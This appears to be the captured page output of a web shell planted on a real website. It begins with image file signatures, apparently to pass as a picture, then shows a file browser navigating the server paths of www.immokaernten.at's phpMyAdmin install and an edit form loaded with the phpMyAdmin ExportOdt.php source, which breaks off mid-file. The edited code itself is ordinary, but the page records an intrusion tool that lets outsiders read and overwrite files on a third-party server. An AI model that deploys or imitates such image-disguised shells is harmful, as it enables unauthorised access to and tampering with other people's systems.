�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2F'>www.immokaernten.at</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2F'>phpMyAdmin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2Flibraries%2F'>libraries</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2Flibraries%2Fclasses%2F'>classes</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2Flibraries%2Fclasses%2FPlugins%2F'>Plugins</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2FphpMyAdmin%2Flibraries%2Fclasses%2FPlugins%2FExport%2F'>Export</a>/</p><hr><h3>✏️ Editing: ExportOdt.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Set of functions used to build OpenDocument Text dumps of tables
 */

declare(strict_types=1);

namespace PhpMyAdmin\Plugins\Export;

use PhpMyAdmin\DatabaseInterface;
use PhpMyAdmin\FieldMetadata;
use PhpMyAdmin\OpenDocument;
use PhpMyAdmin\Plugins\ExportPlugin;
use PhpMyAdmin\Properties\Options\Groups\OptionsPropertyMainGroup;
use PhpMyAdmin\Properties\Options\Groups\OptionsPropertyRootGroup;
use PhpMyAdmin\Properties\Options\Items\BoolPropertyItem;
use PhpMyAdmin\Properties\Options\Items\RadioPropertyItem;
use PhpMyAdmin\Properties\Options\Items\TextPropertyItem;
use PhpMyAdmin\Properties\Plugins\ExportPluginProperties;
use PhpMyAdmin\Util;

use function __;
use function bin2hex;
use function htmlspecialchars;
use function str_replace;
use function stripslashes;

/**
 * Handles the export for the ODT class
 */
class ExportOdt extends ExportPlugin
{
    protected function init(): void
    {
        $GLOBALS[&#039;odt_buffer&#039;] = &#039;&#039;;
    }

    /**
     * @psalm-return non-empty-lowercase-string
     */
    public function getName(): string
    {
        return &#039;odt&#039;;
    }

    protected function setProperties(): ExportPluginProperties
    {
        global $plugin_param;
        $hide_structure = false;
        if ($plugin_param[&#039;export_type&#039;] === &#039;table&#039; &amp;&amp; ! $plugin_param[&#039;single_table&#039;]) {
            $hide_structure = true;
        }

        $exportPluginProperties = new ExportPluginProperties();
        $exportPluginProperties-&gt;setText(&#039;OpenDocument Text&#039;);
        $exportPluginProperties-&gt;setExtension(&#039;odt&#039;);
        $exportPluginProperties-&gt;setMimeType(&#039;application/vnd.oasis.opendocument.text&#039;);
        $exportPluginProperties-&gt;setForceFile(true);
        $exportPluginProperties-&gt;setOptionsText(__(&#039;Options&#039;));

        // create the root group that will be the options field for
        // $exportPluginProperties
        // this will be shown as &quot;Format specific options&quot;
        $exportSpecificOptions = new OptionsPropertyRootGroup(&#039;Format Specific Options&#039;);

        // what to dump (structure/data/both) main group
        $dumpWhat = new OptionsPropertyMainGroup(
            &#039;general_opts&#039;,
            __(&#039;Dump table&#039;)
        );
        // create primary items and add them to the group
        $leaf = new RadioPropertyItem(&#039;structure_or_data&#039;);
        $leaf-&gt;setValues(
            [
                &#039;structure&#039; =&gt; __(&#039;structure&#039;),
                &#039;data&#039; =&gt; __(&#039;data&#039;),
                &#039;structure_and_data&#039; =&gt; __(&#039;structure and data&#039;),
            ]
        );
        $dumpWhat-&gt;addProperty($leaf);
        // add the main group to the root group
        $exportSpecificOptions-&gt;addProperty($dumpWhat);

        // structure options main group
        if (! $hide_structure) {
            $structureOptions = new OptionsPropertyMainGroup(
                &#039;structure&#039;,
                __(&#039;Object creation options&#039;)
            );
            $structureOptions-&gt;setForce(&#039;data&#039;);
            $relationParameters = $this-&gt;relation-&gt;getRelationParameters();
            // create primary items and add them to the group
            if ($relationParameters-&gt;relationFeature !== null) {
                $leaf = new BoolPropertyItem(
                    &#039;relation&#039;,
                    __(&#039;Display foreign key relationships&#039;)
                );
                $structureOptions-&gt;addProperty($leaf);
            }

            $leaf = new BoolPropertyItem(
                &#039;comments&#039;,
                __(&#039;Display comments&#039;)
            );
            $structureOptions-&gt;addProperty($leaf);
            if ($relationParameters-&gt;browserTransformationFeature !== null) {
                $leaf = new BoolPropertyItem(
                    &#039;mime&#039;,
                    __(&#039;Display media types&#039;)
                );
                $structureOptions-&gt;addProperty($leaf);
            }

            // add the main group to the root group
            $exportSpecificOptions-&gt;addProperty($structureOptions);
        }

        // data options main group
        $dataOptions = new OptionsPropertyMainGroup(
            &#039;data&#039;,
            __(&#039;Data dump options&#039;)
        );
        $dataOptions-&gt;setForce(&#039;structure&#039;);
        // create primary items and add them to the group
        $leaf = new BoolPropertyItem(
            &#039;columns&#039;,
            __(&#039;Put columns names in the first row&#039;)
        );
        $dataOptions-&gt;addProperty($leaf);
        $leaf = new TextPropertyItem(
            &#039;null&#039;,
            __(&#039;Replace NULL with:&#039;)
        );
        $dataOptions-&gt;addProperty($leaf);
        // add the main group to the root group
        $exportSpecificOptions-&gt;addProperty($dataOptions);

        // set the options for the export plugin property item
        $exportPluginProperties-&gt;setOptions($exportSpecificOptions);

        return $exportPluginProperties;
    }

    /**
     * Outputs export header
     */
    public function exportHeader(): bool
    {
        $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&#039; . &#039;&gt;&#039;
            . &#039;&lt;office:document-content &#039;
            . OpenDocument::NS . &#039; office:version=&quot;1.0&quot;&gt;&#039;
            . &#039;&lt;office:body&gt;&#039;
            . &#039;&lt;office:text&gt;&#039;;

        return true;
    }

    /**
     * Outputs export footer
     */
    public function exportFooter(): bool
    {
        $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;/office:text&gt;&lt;/office:body&gt;&lt;/office:document-content&gt;&#039;;

        return $this-&gt;export-&gt;outputHandler(OpenDocument::create(
            &#039;application/vnd.oasis.opendocument.text&#039;,
            $GLOBALS[&#039;odt_buffer&#039;]
        ));
    }

    /**
     * Outputs database header
     *
     * @param string $db      Database name
     * @param string $dbAlias Aliases of db
     */
    public function exportDBHeader($db, $dbAlias = &#039;&#039;): bool
    {
        if (empty($dbAlias)) {
            $dbAlias = $db;
        }

        $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;text:h text:outline-level=&quot;1&quot; text:style-name=&quot;Heading_1&quot;&#039;
            . &#039; text:is-list-header=&quot;true&quot;&gt;&#039;
            . __(&#039;Database&#039;) . &#039; &#039; . htmlspecialchars($dbAlias)
            . &#039;&lt;/text:h&gt;&#039;;

        return true;
    }

    /**
     * Outputs database footer
     *
     * @param string $db Database name
     */
    public function exportDBFooter($db): bool
    {
        return true;
    }

    /**
     * Outputs CREATE DATABASE statement
     *
     * @param string $db         Database name
     * @param string $exportType &#039;server&#039;, &#039;database&#039;, &#039;table&#039;
     * @param string $dbAlias    Aliases of db
     */
    public function exportDBCreate($db, $exportType, $dbAlias = &#039;&#039;): bool
    {
        return true;
    }

    /**
     * Outputs the content of a table in NHibernate format
     *
     * @param string $db       database name
     * @param string $table    table name
     * @param string $crlf     the end of line sequence
     * @param string $errorUrl the url to go back in case of error
     * @param string $sqlQuery SQL query for obtaining data
     * @param array  $aliases  Aliases of db/table/columns
     */
    public function exportData(
        $db,
        $table,
        $crlf,
        $errorUrl,
        $sqlQuery,
        array $aliases = []
    ): bool {
        global $what, $dbi;

        $db_alias = $db;
        $table_alias = $table;
        $this-&gt;initAlias($aliases, $db_alias, $table_alias);
        // Gets the data from the database
        $result = $dbi-&gt;query($sqlQuery, DatabaseInterface::CONNECT_USER, DatabaseInterface::QUERY_UNBUFFERED);
        $fields_cnt = $result-&gt;numFields();
        /** @var FieldMetadata[] $fieldsMeta */
        $fieldsMeta = $dbi-&gt;getFieldsMeta($result);

        $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;text:h text:outline-level=&quot;2&quot; text:style-name=&quot;Heading_2&quot;&#039;
            . &#039; text:is-list-header=&quot;true&quot;&gt;&#039;;
        $table_alias != &#039;&#039;
            ? $GLOBALS[&#039;odt_buffer&#039;] .= __(&#039;Dumping data for table&#039;) . &#039; &#039; . htmlspecialchars($table_alias)
            : $GLOBALS[&#039;odt_buffer&#039;] .= __(&#039;Dumping data for query result&#039;);
        $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;/text:h&gt;&#039;
            . &#039;&lt;table:table&#039;
            . &#039; table:name=&quot;&#039; . htmlspecialchars($table_alias) . &#039;_structure&quot;&gt;&#039;
            . &#039;&lt;table:table-column&#039;
            . &#039; table:number-columns-repeated=&quot;&#039; . $fields_cnt . &#039;&quot;/&gt;&#039;;

        // If required, get fields name at the first line
        if (isset($GLOBALS[$what . &#039;_columns&#039;])) {
            $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-row&gt;&#039;;
            foreach ($fieldsMeta as $field) {
                $col_as = $field-&gt;name;
                if (! empty($aliases[$db][&#039;tables&#039;][$table][&#039;columns&#039;][$col_as])) {
                    $col_as = $aliases[$db][&#039;tables&#039;][$table][&#039;columns&#039;][$col_as];
                }

                $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
                    . &#039;&lt;text:p&gt;&#039;
                    . htmlspecialchars(
                        stripslashes($col_as)
                    )
                    . &#039;&lt;/text:p&gt;&#039;
                    . &#039;&lt;/table:table-cell&gt;&#039;;
            }

            $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;/table:table-row&gt;&#039;;
        }

        // Format the data
        while ($row = $result-&gt;fetchRow()) {
            $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-row&gt;&#039;;
            for ($j = 0; $j &lt; $fields_cnt; $j++) {
                if ($fieldsMeta[$j]-&gt;isMappedTypeGeometry) {
                    // export GIS types as hex
                    $row[$j] = &#039;0x&#039; . bin2hex($row[$j]);
                }

                if (! isset($row[$j])) {
                    $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
                        . &#039;&lt;text:p&gt;&#039;
                        . htmlspecialchars($GLOBALS[$what . &#039;_null&#039;])
                        . &#039;&lt;/text:p&gt;&#039;
                        . &#039;&lt;/table:table-cell&gt;&#039;;
                } elseif ($fieldsMeta[$j]-&gt;isBinary &amp;&amp; $fieldsMeta[$j]-&gt;isBlob) {
                    // ignore BLOB
                    $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
                        . &#039;&lt;text:p&gt;&lt;/text:p&gt;&#039;
                        . &#039;&lt;/table:table-cell&gt;&#039;;
                } elseif (
                    $fieldsMeta[$j]-&gt;isNumeric
                ) {
                    $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-cell office:value-type=&quot;float&quot;&#039;
                        . &#039; office:value=&quot;&#039; . $row[$j] . &#039;&quot; &gt;&#039;
                        . &#039;&lt;text:p&gt;&#039;
                        . htmlspecialchars($row[$j])
                        . &#039;&lt;/text:p&gt;&#039;
                        . &#039;&lt;/table:table-cell&gt;&#039;;
                } else {
                    $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
                        . &#039;&lt;text:p&gt;&#039;
                        . htmlspecialchars($row[$j])
                        . &#039;&lt;/text:p&gt;&#039;
                        . &#039;&lt;/table:table-cell&gt;&#039;;
                }
            }

            $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;/table:table-row&gt;&#039;;
        }

        $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;/table:table&gt;&#039;;

        return true;
    }

    /**
     * Outputs result raw query in ODT format
     *
     * @param string      $errorUrl the url to go back in case of error
     * @param string|null $db       the database where the query is executed
     * @param string      $sqlQuery the rawquery to output
     * @param string      $crlf     the end of line sequence
     */
    public function exportRawQuery(string $errorUrl, ?string $db, string $sqlQuery, string $crlf): bool
    {
        global $dbi;

        if ($db !== null) {
            $dbi-&gt;selectDb($db);
        }

        return $this-&gt;exportData($db ?? &#039;&#039;, &#039;&#039;, $crlf, $errorUrl, $sqlQuery);
    }

    /**
     * Returns a stand-in CREATE definition to resolve view dependencies
     *
     * @param string $db      the database name
     * @param string $view    the view name
     * @param string $crlf    the end of line sequence
     * @param array  $aliases Aliases of db/table/columns
     *
     * @return string resulting definition
     */
    public function getTableDefStandIn($db, $view, $crlf, $aliases = [])
    {
        global $dbi;

        $db_alias = $db;
        $view_alias = $view;
        $this-&gt;initAlias($aliases, $db_alias, $view_alias);
        /**
         * Gets fields properties
         */
        $dbi-&gt;selectDb($db);

        /**
         * Displays the table structure
         */
        $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table table:name=&quot;&#039;
            . htmlspecialchars($view_alias) . &#039;_data&quot;&gt;&#039;;
        $columns_cnt = 4;
        $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-column&#039;
            . &#039; table:number-columns-repeated=&quot;&#039; . $columns_cnt . &#039;&quot;/&gt;&#039;;
        /* Header */
        $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-row&gt;&#039;
            . &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
            . &#039;&lt;text:p&gt;&#039; . __(&#039;Column&#039;) . &#039;&lt;/text:p&gt;&#039;
            . &#039;&lt;/table:table-cell&gt;&#039;
            . &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
            . &#039;&lt;text:p&gt;&#039; . __(&#039;Type&#039;) . &#039;&lt;/text:p&gt;&#039;
            . &#039;&lt;/table:table-cell&gt;&#039;
            . &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
            . &#039;&lt;text:p&gt;&#039; . __(&#039;Null&#039;) . &#039;&lt;/text:p&gt;&#039;
            . &#039;&lt;/table:table-cell&gt;&#039;
            . &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
            . &#039;&lt;text:p&gt;&#039; . __(&#039;Default&#039;) . &#039;&lt;/text:p&gt;&#039;
            . &#039;&lt;/table:table-cell&gt;&#039;
            . &#039;&lt;/table:table-row&gt;&#039;;

        $columns = $dbi-&gt;getColumns($db, $view);
        foreach ($columns as $column) {
            $col_as = $column[&#039;Field&#039;] ?? null;
            if (! empty($aliases[$db][&#039;tables&#039;][$view][&#039;columns&#039;][$col_as])) {
                $col_as = $aliases[$db][&#039;tables&#039;][$view][&#039;columns&#039;][$col_as];
            }

            $GLOBALS[&#039;odt_buffer&#039;] .= $this-&gt;formatOneColumnDefinition($column, $col_as);
            $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;/table:table-row&gt;&#039;;
        }

        $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;/table:table&gt;&#039;;

        return &#039;&#039;;
    }

    /**
     * Returns $table&#039;s CREATE definition
     *
     * @param string $db            the database name
     * @param string $table         the table name
     * @param string $crlf          the end of line sequence
     * @param string $error_url     the url to go back in case of error
     * @param bool   $do_relation   whether to include relation comments
     * @param bool   $do_comments   whether to include the pmadb-style column
     *                              comments as comments in the structure;
     *                              this is deprecated but the parameter is
     *                              left here because /export calls
     *                              PMA_exportStructure() also for other
     * @param bool   $do_mime       whether to include mime comments
     * @param bool   $show_dates    whether to include creation/update/check dates
     * @param bool   $add_semicolon whether to add semicolon and end-of-line at
     *                              the end
     * @param bool   $view          whether we&#039;re handling a view
     * @param array  $aliases       Aliases of db/table/columns
     */
    public function getTableDef(
        $db,
        $table,
        $crlf,
        $error_url,
        $do_relation,
        $do_comments,
        $do_mime,
        $show_dates = false,
        $add_semicolon = true,
        $view = false,
        array $aliases = []
    ): bool {
        global $dbi;

        $db_alias = $db;
        $table_alias = $table;
        $this-&gt;initAlias($aliases, $db_alias, $table_alias);

        $relationParameters = $this-&gt;relation-&gt;getRelationParameters();

        /**
         * Gets fields properties
         */
        $dbi-&gt;selectDb($db);

        // Check if we can use Relations
        [$res_rel, $have_rel] = $this-&gt;relation-&gt;getRelationsAndStatus(
            $do_relation &amp;&amp; $relationParameters-&gt;relationFeature !== null,
            $db,
            $table
        );
        /**
         * Displays the table structure
         */
        $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table table:name=&quot;&#039;
            . htmlspecialchars($table_alias) . &#039;_structure&quot;&gt;&#039;;
        $columns_cnt = 4;
        if ($do_relation &amp;&amp; $have_rel) {
            $columns_cnt++;
        }

        if ($do_comments) {
            $columns_cnt++;
        }

        if ($do_mime &amp;&amp; $relationParameters-&gt;browserTransformationFeature !== null) {
            $columns_cnt++;
        }

        $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-column&#039;
            . &#039; table:number-columns-repeated=&quot;&#039; . $columns_cnt . &#039;&quot;/&gt;&#039;;
        /* Header */
        $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-row&gt;&#039;
            . &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
            . &#039;&lt;text:p&gt;&#039; . __(&#039;Column&#039;) . &#039;&lt;/text:p&gt;&#039;
            . &#039;&lt;/table:table-cell&gt;&#039;
            . &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
            . &#039;&lt;text:p&gt;&#039; . __(&#039;Type&#039;) . &#039;&lt;/text:p&gt;&#039;
            . &#039;&lt;/table:table-cell&gt;&#039;
            . &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
            . &#039;&lt;text:p&gt;&#039; . __(&#039;Null&#039;) . &#039;&lt;/text:p&gt;&#039;
            . &#039;&lt;/table:table-cell&gt;&#039;
            . &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
            . &#039;&lt;text:p&gt;&#039; . __(&#039;Default&#039;) . &#039;&lt;/text:p&gt;&#039;
            . &#039;&lt;/table:table-cell&gt;&#039;;
        if ($do_relation &amp;&amp; $have_rel) {
            $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
                . &#039;&lt;text:p&gt;&#039; . __(&#039;Links to&#039;) . &#039;&lt;/text:p&gt;&#039;
                . &#039;&lt;/table:table-cell&gt;&#039;;
        }

        if ($do_comments) {
            $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
                . &#039;&lt;text:p&gt;&#039; . __(&#039;Comments&#039;) . &#039;&lt;/text:p&gt;&#039;
                . &#039;&lt;/table:table-cell&gt;&#039;;
            $comments = $this-&gt;relation-&gt;getComments($db, $table);
        }

        if ($do_mime &amp;&amp; $relationParameters-&gt;browserTransformationFeature !== null) {
            $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
                . &#039;&lt;text:p&gt;&#039; . __(&#039;Media type&#039;) . &#039;&lt;/text:p&gt;&#039;
                . &#039;&lt;/table:table-cell&gt;&#039;;
            $mime_map = $this-&gt;transformations-&gt;getMime($db, $table, true);
        }

        $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;/table:table-row&gt;&#039;;

        $columns = $dbi-&gt;getColumns($db, $table);
        foreach ($columns as $column) {
            $col_as = $field_name = $column[&#039;Field&#039;];
            if (! empty($aliases[$db][&#039;tables&#039;][$table][&#039;columns&#039;][$col_as])) {
                $col_as = $aliases[$db][&#039;tables&#039;][$table][&#039;columns&#039;][$col_as];
            }

            $GLOBALS[&#039;odt_buffer&#039;] .= $this-&gt;formatOneColumnDefinition($column, $col_as);
            if ($do_relation &amp;&amp; $have_rel) {
                $foreigner = $this-&gt;relation-&gt;searchColumnInForeigners($res_rel, $field_name);
                if ($foreigner) {
                    $rtable = $foreigner[&#039;foreign_table&#039;];
                    $rfield = $foreigner[&#039;foreign_field&#039;];
                    if (! empty($aliases[$db][&#039;tables&#039;][$rtable][&#039;columns&#039;][$rfield])) {
                        $rfield = $aliases[$db][&#039;tables&#039;][$rtable][&#039;columns&#039;][$rfield];
                    }

                    if (! empty($aliases[$db][&#039;tables&#039;][$rtable][&#039;alias&#039;])) {
                        $rtable = $aliases[$db][&#039;tables&#039;][$rtable][&#039;alias&#039;];
                    }

                    $relation = htmlspecialchars($rtable . &#039; (&#039; . $rfield . &#039;)&#039;);
                    $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
                        . &#039;&lt;text:p&gt;&#039;
                        . htmlspecialchars($relation)
                        . &#039;&lt;/text:p&gt;&#039;
                        . &#039;&lt;/table:table-cell&gt;&#039;;
                }
            }

            if ($do_comments) {
                if (isset($comments[$field_name])) {
                    $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
                        . &#039;&lt;text:p&gt;&#039;
                        . htmlspecialchars($comments[$field_name])
                        . &#039;&lt;/text:p&gt;&#039;
                        . &#039;&lt;/table:table-cell&gt;&#039;;
                } else {
                    $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
                        . &#039;&lt;text:p&gt;&lt;/text:p&gt;&#039;
                        . &#039;&lt;/table:table-cell&gt;&#039;;
                }
            }

            if ($do_mime &amp;&amp; $relationParameters-&gt;browserTransformationFeature !== null) {
                if (isset($mime_map[$field_name])) {
                    $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
                        . &#039;&lt;text:p&gt;&#039;
                        . htmlspecialchars(
                            str_replace(&#039;_&#039;, &#039;/&#039;, $mime_map[$field_name][&#039;mimetype&#039;])
                        )
                        . &#039;&lt;/text:p&gt;&#039;
                        . &#039;&lt;/table:table-cell&gt;&#039;;
                } else {
                    $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
                        . &#039;&lt;text:p&gt;&lt;/text:p&gt;&#039;
                        . &#039;&lt;/table:table-cell&gt;&#039;;
                }
            }

            $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;/table:table-row&gt;&#039;;
        }

        $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;/table:table&gt;&#039;;

        return true;
    }

    /**
     * Outputs triggers
     *
     * @param string $db      database name
     * @param string $table   table name
     * @param array  $aliases Aliases of db/table/columns
     *
     * @return string
     */
    protected function getTriggers($db, $table, array $aliases = [])
    {
        global $dbi;

        $db_alias = $db;
        $table_alias = $table;
        $this-&gt;initAlias($aliases, $db_alias, $table_alias);
        $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table&#039;
            . &#039; table:name=&quot;&#039; . htmlspecialchars($table_alias) . &#039;_triggers&quot;&gt;&#039;
            . &#039;&lt;table:table-column&#039;
            . &#039; table:number-columns-repeated=&quot;4&quot;/&gt;&#039;
            . &#039;&lt;table:table-row&gt;&#039;
            . &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
            . &#039;&lt;text:p&gt;&#039; . __(&#039;Name&#039;) . &#039;&lt;/text:p&gt;&#039;
            . &#039;&lt;/table:table-cell&gt;&#039;
            . &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
            . &#039;&lt;text:p&gt;&#039; . __(&#039;Time&#039;) . &#039;&lt;/text:p&gt;&#039;
            . &#039;&lt;/table:table-cell&gt;&#039;
            . &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
            . &#039;&lt;text:p&gt;&#039; . __(&#039;Event&#039;) . &#039;&lt;/text:p&gt;&#039;
            . &#039;&lt;/table:table-cell&gt;&#039;
            . &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
            . &#039;&lt;text:p&gt;&#039; . __(&#039;Definition&#039;) . &#039;&lt;/text:p&gt;&#039;
            . &#039;&lt;/table:table-cell&gt;&#039;
            . &#039;&lt;/table:table-row&gt;&#039;;

        $triggers = $dbi-&gt;getTriggers($db, $table);

        foreach ($triggers as $trigger) {
            $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-row&gt;&#039;;
            $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
                . &#039;&lt;text:p&gt;&#039;
                . htmlspecialchars($trigger[&#039;name&#039;])
                . &#039;&lt;/text:p&gt;&#039;
                . &#039;&lt;/table:table-cell&gt;&#039;;
            $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
                . &#039;&lt;text:p&gt;&#039;
                . htmlspecialchars($trigger[&#039;action_timing&#039;])
                . &#039;&lt;/text:p&gt;&#039;
                . &#039;&lt;/table:table-cell&gt;&#039;;
            $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
                . &#039;&lt;text:p&gt;&#039;
                . htmlspecialchars($trigger[&#039;event_manipulation&#039;])
                . &#039;&lt;/text:p&gt;&#039;
                . &#039;&lt;/table:table-cell&gt;&#039;;
            $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;table:table-cell office:value-type=&quot;string&quot;&gt;&#039;
                . &#039;&lt;text:p&gt;&#039;
                . htmlspecialchars($trigger[&#039;definition&#039;])
                . &#039;&lt;/text:p&gt;&#039;
                . &#039;&lt;/table:table-cell&gt;&#039;;
            $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;/table:table-row&gt;&#039;;
        }

        $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;/table:table&gt;&#039;;

        return $GLOBALS[&#039;odt_buffer&#039;];
    }

    /**
     * Outputs table&#039;s structure
     *
     * @param string $db          database name
     * @param string $table       table name
     * @param string $crlf        the end of line sequence
     * @param string $errorUrl    the url to go back in case of error
     * @param string $exportMode  &#039;create_table&#039;, &#039;triggers&#039;, &#039;create_view&#039;,
     *                             &#039;stand_in&#039;
     * @param string $exportType  &#039;server&#039;, &#039;database&#039;, &#039;table&#039;
     * @param bool   $do_relation whether to include relation comments
     * @param bool   $do_comments whether to include the pmadb-style column
     *                            comments as comments in the structure;
     *                            this is deprecated but the parameter is
     *                            left here because /export calls
     *                            PMA_exportStructure() also for other
     * @param bool   $do_mime     whether to include mime comments
     * @param bool   $dates       whether to include creation/update/check dates
     * @param array  $aliases     Aliases of db/table/columns
     */
    public function exportStructure(
        $db,
        $table,
        $crlf,
        $errorUrl,
        $exportMode,
        $exportType,
        $do_relation = false,
        $do_comments = false,
        $do_mime = false,
        $dates = false,
        array $aliases = []
    ): bool {
        global $dbi;

        $db_alias = $db;
        $table_alias = $table;
        $this-&gt;initAlias($aliases, $db_alias, $table_alias);
        switch ($exportMode) {
            case &#039;create_table&#039;:
                $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;text:h text:outline-level=&quot;2&quot; text:style-name=&quot;Heading_2&quot;&#039;
                . &#039; text:is-list-header=&quot;true&quot;&gt;&#039;
                . __(&#039;Table structure for table&#039;) . &#039; &#039; .
                htmlspecialchars($table_alias)
                . &#039;&lt;/text:h&gt;&#039;;
                $this-&gt;getTableDef(
                    $db,
                    $table,
                    $crlf,
                    $errorUrl,
                    $do_relation,
                    $do_comments,
                    $do_mime,
                    $dates,
                    true,
                    false,
                    $aliases
                );
                break;
            case &#039;triggers&#039;:
                $triggers = $dbi-&gt;getTriggers($db, $table);
                if ($triggers) {
                    $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;text:h text:outline-level=&quot;2&quot; text:style-name=&quot;Heading_2&quot;&#039;
                    . &#039; text:is-list-header=&quot;true&quot;&gt;&#039;
                    . __(&#039;Triggers&#039;) . &#039; &#039;
                    . htmlspecialchars($table_alias)
                    . &#039;&lt;/text:h&gt;&#039;;
                    $this-&gt;getTriggers($db, $table);
                }

                break;
            case &#039;create_view&#039;:
                $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;text:h text:outline-level=&quot;2&quot; text:style-name=&quot;Heading_2&quot;&#039;
                . &#039; text:is-list-header=&quot;true&quot;&gt;&#039;
                . __(&#039;Structure for view&#039;) . &#039; &#039;
                . htmlspecialchars($table_alias)
                . &#039;&lt;/text:h&gt;&#039;;
                $this-&gt;getTableDef(
                    $db,
                    $table,
                    $crlf,
                    $errorUrl,
                    $do_relation,
                    $do_comments,
                    $do_mime,
                    $dates,
                    true,
                    true,
                    $aliases
                );
                break;
            case &#039;stand_in&#039;:
                $GLOBALS[&#039;odt_buffer&#039;] .= &#039;&lt;text:h text:outline-level=&quot;2&quot; text:style-name=&quot;Heading_2&quot;&#039;
                . &#039; text:is-list-header=&quot;true&quot;&gt;&#039;
                . __(&#039;Stand-in structure for view&#039;) . &#039; &#039;
                . htmlspecialchars($table_alias)
                . &#039;&lt;/text:h&gt;&#039;;
                // export a stand-in definition to resolve view dependencies
